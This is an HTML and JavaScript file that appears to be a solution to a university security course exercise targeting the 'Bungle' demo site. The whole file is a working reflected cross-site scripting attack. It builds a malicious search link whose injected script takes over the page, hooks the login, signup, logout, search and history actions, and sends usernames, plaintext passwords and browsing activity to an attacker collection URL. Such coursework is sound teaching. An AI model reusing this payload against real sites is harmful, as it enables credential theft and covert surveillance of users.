MAX

<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
<script>
function payload(attacker) {
    function spyGet(spy_url){
      $.ajax({
            url: spy_url,
            type: "GET",
            timeout: 1
        });
    }
    function getUser(){
      var username;
      if($("#logged-in-user").length != 0){
        username = $("#logged-in-user").innerText;
      }
      else{
        username = null;
      }
      return username;
    }
    function logSearch(data) {
      var username = getUser();
      var get_url = attacker + "?event=nav";
      if(username != null){
        get_url = get_url + "&user=" + username;
      }
      get_url = get_url + "&url=http://trurl.cs.illinois.edu/" + data.substr(2);
      spyGet(get_url);
    }
    function logLogout(data){
      var logout_url = attacker + "?event=logout&user=" + getUser();
      var get_url = attacker + "?event=nav&url=http://trurl.cs.illinois.edu/";
      spyGet(logout_url);
      spyGet(get_url);
    }
    function logLogin(username, password){
      var login_url = attacker + "?event=login&user=" + username + "&pass=" + password;
      var get_url = attacker + "?event=nav&user=" + username + "&url=http://trurl.cs.illinois.edu/";
      spyGet(login_url);
      spyGet(get_url);
    }
    function logCreateAccount(username, password){
      var login_url = attacker + "?event=login&user=" + username + "&pass=" + password;
      var get_url = attacker + "?event=nav&user=" + username + "&url=http://trurl.cs.illinois.edu/";
      spyGet(login_url);
      spyGet(get_url);
    }
    function logHome(data){
      var username = getUser();
      var get_url = attacker + "?event=nav";
      if(username != null){
        get_url = get_url + "&user=" + username;
      }
      get_url = get_url + "&url=http://trurl.cs.illinois.edu/";
      spyGet(get_url);
    }
    function logHistory(data){
      var username = getUser();
      var get_url = attacker + "?event=nav";
      if(username != null){
        get_url = get_url + "&user=" + username;
      }
      get_url = get_url + "&url=http://trurl.cs.illinois.edu/" + data.substr(2);
      spyGet(get_url);
    }
    function proxy(href) {
            $("html").load(href, function(){
                $("html").show();
                $("#query").val("pwned!");
                $("#bungle-lnk, #search-again-btn").click(function(e) {
                    e.preventDefault();
                    logHome("./");
                    proxy("./");
                });
                $("#search-btn").click(function(e) {
                    e.preventDefault();
                    var search = $("#query").val();
                    logSearch("./search?q=" + search);
                    proxy("./search?q=" + search);
                });
                $(".history-item").click(function(e) {
                    var url = $(this).attr("href");
                    e.preventDefault();
                    logHistory(url);
                    proxy(url);
                });
                $("#log-in-btn").click(function(e) {
                    e.preventDefault();
                    var username = $("#username").val();
                    var userpass = $("#userpass").val();
                    logLogin(username, userpass);
                    $.ajax({
                        type: "POST",
                        url: "http://trurl.cs.illinois.edu/login",
                        dataType: "text",
                        data: {
                            username: username,
                            password: userpass
                        },
                        success: function(){
                            proxy("./");
                        }
                    });
                });

                $("#new-account-btn").click(function(e) {
                    e.preventDefault();
                    var username = $("#username").val();
                    var userpass = $("#userpass").val();
                    logCreateAccount(username, userpass);
                    $.ajax({
                        type: "POST",
                        url: "http://trurl.cs.illinois.edu/create",
                        dataType: "text",
                        data: {
                            username: username,
                            password: userpass
                        },
                        success: function(){
                            $.ajax({
                                type: "POST",
                                url: "http://trurl.cs.illinois.edu/login",
                                dataType: "text",
                                data: {
                                    username: username,
                                    password: userpass
                                },
                                success: function(){
                                    proxy("./");
                                }
                            });
                        }
                    });
                });

                $("#log-out-btn").click(function(e) {
                    e.preventDefault();
                    logLogout("./");
                    $.ajax({
                        type: "POST",
                        url: "http://trurl.cs.illinois.edu/logout",
                        success: function(){
                            proxy("./");
                        }
                    });
                });
            });
        }
        $("html").hide();
        proxy("./");
}

function makeLink(xssdefense, target, attacker) {
    if (xssdefense == 0) {
        return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" + encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");<" + "/script>");
    }
}

var xssdefense = 0;
var target = "http://trurl.cs.illinois.edu/";
var attacker = "http://127.0.0.1:31337/stolen";

$(function() {
    var url = makeLink(xssdefense, target, attacker);
    $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});
</script>

<h3></h3>